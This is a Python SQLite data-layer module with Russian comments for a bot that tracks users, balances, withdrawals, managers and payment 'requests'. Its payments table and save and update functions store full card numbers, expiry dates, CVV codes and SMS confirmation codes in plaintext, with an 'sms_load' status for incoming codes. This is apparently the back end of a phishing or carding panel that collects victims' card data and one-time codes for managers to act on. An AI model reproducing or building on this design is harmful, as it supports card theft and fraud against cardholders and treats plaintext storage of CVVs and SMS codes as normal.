import sqlite3
from datetime import datetime

DB_PATH = "data.db"

def init_db():
    """Инициализация базы данных"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    # Таблица пользователей
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            user_id INTEGER PRIMARY KEY,
            username TEXT,
            first_name TEXT,
            last_name TEXT,
            status TEXT DEFAULT 'active',
            balance REAL DEFAULT 0,
            zayavki TEXT
        )
    ''')
    
    # Таблица платежей
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS payments (
            user_id INTEGER,
            id_zayavki INTEGER PRIMARY KEY AUTOINCREMENT,
            status TEXT DEFAULT 'pending',
            manager TEXT,
            date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            phone TEXT,
            summa REAL,
            qr_code TEXT,
            link TEXT,
            card_number TEXT,
            card_date TEXT,
            sms_code TEXT,
            cvv TEXT,
            FOREIGN KEY(user_id) REFERENCES users(user_id)
        )
    ''')
    
    # ✅ Таблица для отслеживания обработанных инвойсов пополнения баланса
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS invoice_payments (
            invoice_id INTEGER PRIMARY KEY,
            user_id INTEGER,
            amount_rub REAL,
            amount_usd REAL,
            status TEXT DEFAULT 'paid',
            date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY(user_id) REFERENCES users(user_id)
        )
    ''')
    
    # Таблица выводов
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS withdrawals (
            user_id INTEGER,
            id_zayavki INTEGER PRIMARY KEY AUTOINCREMENT,
            status TEXT DEFAULT 'pending',
            manager TEXT,
            date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            summa REAL,
            vivod_rekvizit TEXT,
            tip TEXT,
            vivod_name TEXT,
            FOREIGN KEY(user_id) REFERENCES users(user_id)
        )
    ''')
    
    # Таблица менеджеров
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS manager (
            user_id INTEGER PRIMARY KEY,
            name TEXT,
            status TEXT DEFAULT 'active'
        )
    ''')
    
    conn.commit()
    conn.close()

def save_user(user_id, username, first_name, last_name):
    """Сохранить или обновить пользователя"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('''
        INSERT OR IGNORE INTO users (user_id, username, first_name, last_name)
        VALUES (?, ?, ?, ?)
    ''', (user_id, username, first_name, last_name))
    
    conn.commit()
    conn.close()

def get_user_balance(user_id):
    """Получить баланс пользователя"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('SELECT balance FROM users WHERE user_id = ?', (user_id,))
    result = cursor.fetchone()
    conn.close()
    
    return result[0] if result else 0.0

def update_user_balance(user_id, amount):
    """Пополнить баланс пользователя"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    # Сначала убеждаемся, что пользователь существует
    cursor.execute('SELECT user_id FROM users WHERE user_id = ?', (user_id,))
    if not cursor.fetchone():
        cursor.execute('INSERT INTO users (user_id, balance) VALUES (?, ?)', (user_id, amount))
    else:
        cursor.execute('''
            UPDATE users SET balance = balance + ? WHERE user_id = ?
        ''', (amount, user_id))
    
    conn.commit()
    conn.close()

# ✅ НОВЫЕ ФУНКЦИИ ДЛЯ РАБОТЫ С INVOICE_ID

def is_invoice_processed(invoice_id):
    """Проверить, был ли инвойс уже обработан"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('SELECT COUNT(*) FROM invoice_payments WHERE invoice_id = ?', (invoice_id,))
    result = cursor.fetchone()[0] > 0
    conn.close()
    
    return result

def save_invoice_payment(invoice_id, user_id, amount_rub, amount_usd=0):
    """Сохранить информацию об обработанном инвойсе"""
    try:
        conn = sqlite3.connect(DB_PATH)
        cursor = conn.cursor()
        
        date_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        
        cursor.execute('''
            INSERT INTO invoice_payments (invoice_id, user_id, amount_rub, amount_usd, status, date_time)
            VALUES (?, ?, ?, ?, 'paid', ?)
        ''', (invoice_id, user_id, amount_rub, amount_usd, date_time))
        
        conn.commit()
        conn.close()
        return True
    except sqlite3.IntegrityError:
        # Инвойс уже существует в базе
        return False
    except Exception as e:
        print(f"Ошибка save_invoice_payment: {e}")
        return False

def get_user_invoice_payments(user_id):
    """Получить все пополнения баланса через инвойсы для пользователя"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT invoice_id, amount_rub, amount_usd, date_time 
        FROM invoice_payments 
        WHERE user_id = ? 
        ORDER BY date_time DESC
    ''', (user_id,))
    payments = cursor.fetchall()
    conn.close()
    
    return payments

# СУЩЕСТВУЮЩИЕ ФУНКЦИИ

def save_payment(user_id, id_zayavki=None, status='pending', date_time=None, phone='', 
                 summa=0, manager='', qr_code='', link='', card_number='', card_date='', 
                 sms_code='', cvv=''):
    """Сохранить информацию о платеже/заявке"""
    try:
        conn = sqlite3.connect(DB_PATH)
        cursor = conn.cursor()
        
        if date_time is None:
            date_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        
        cursor.execute('''
            INSERT INTO payments (user_id, id_zayavki, status, date_time, phone, summa, manager, 
                                qr_code, link, card_number, card_date, sms_code, cvv)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        ''', (user_id, id_zayavki, status, date_time, phone, summa, manager, 
              qr_code, link, card_number, card_date, sms_code, cvv))
        
        conn.commit()
        conn.close()
        return True
    except Exception as e:
        print(f"Ошибка save_payment: {e}")
        return False

def save_withdrawal(user_id, id_zayavki=None, status='pending', manager=None, date_time=None,
                    summa=0, vivod_rekvizit='', tip='', vivod_name=''):
    """Сохранить информацию о выводе средств"""
    try:
        conn = sqlite3.connect(DB_PATH)
        cursor = conn.cursor()
        
        if date_time is None:
            date_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        
        cursor.execute('''
            INSERT INTO withdrawals (user_id, id_zayavki, status, manager, date_time, summa, 
                                    vivod_rekvizit, tip, vivod_name)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
        ''', (user_id, id_zayavki, status, manager, date_time, summa, vivod_rekvizit, tip, vivod_name))
        
        conn.commit()
        conn.close()
        return True
    except Exception as e:
        print(f"Ошибка save_withdrawal: {e}")
        return False

def get_user_payments(user_id):
    """Получить все платежи пользователя"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM payments WHERE user_id = ? ORDER BY date_time DESC', (user_id,))
    payments = cursor.fetchall()
    conn.close()
    
    return payments

def get_user_withdrawals(user_id):
    """Получить все выводы пользователя"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM withdrawals WHERE user_id = ? ORDER BY date_time DESC', (user_id,))
    withdrawals = cursor.fetchall()
    conn.close()
    
    return withdrawals

def update_payment_status(id_zayavki, status):
    """Обновить статус платежа"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('UPDATE payments SET status = ? WHERE id_zayavki = ?', (status, id_zayavki))
    
    conn.commit()
    conn.close()

def update_withdrawal_status(id_zayavki, status, manager=None):
    """Обновить статус вывода"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    if manager:
        cursor.execute('UPDATE withdrawals SET status = ?, manager = ? WHERE id_zayavki = ?', 
                      (status, manager, id_zayavki))
    else:
        cursor.execute('UPDATE withdrawals SET status = ? WHERE id_zayavki = ?', 
                      (status, id_zayavki))
    
    conn.commit()
    conn.close()

def get_payment_by_card(user_id, card_number, card_date):
    """Получить платёж по номеру и дате карты"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT id_zayavki FROM payments 
        WHERE user_id = ? AND card_number = ? AND card_date = ? AND status = 'true'
        LIMIT 1
    ''', (user_id, card_number, card_date))
    result = cursor.fetchone()
    conn.close()
    
    return result[0] if result else None

def update_payment_sms(id_zayavki, sms_code='', status='sms_load'):
    """Обновить SMS-код в существующем платеже"""
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()
    
    cursor.execute('''
        UPDATE payments SET status = ?, sms_code = ? WHERE id_zayavki = ?
    ''', (status, sms_code, id_zayavki))
    
    conn.commit()
    conn.close()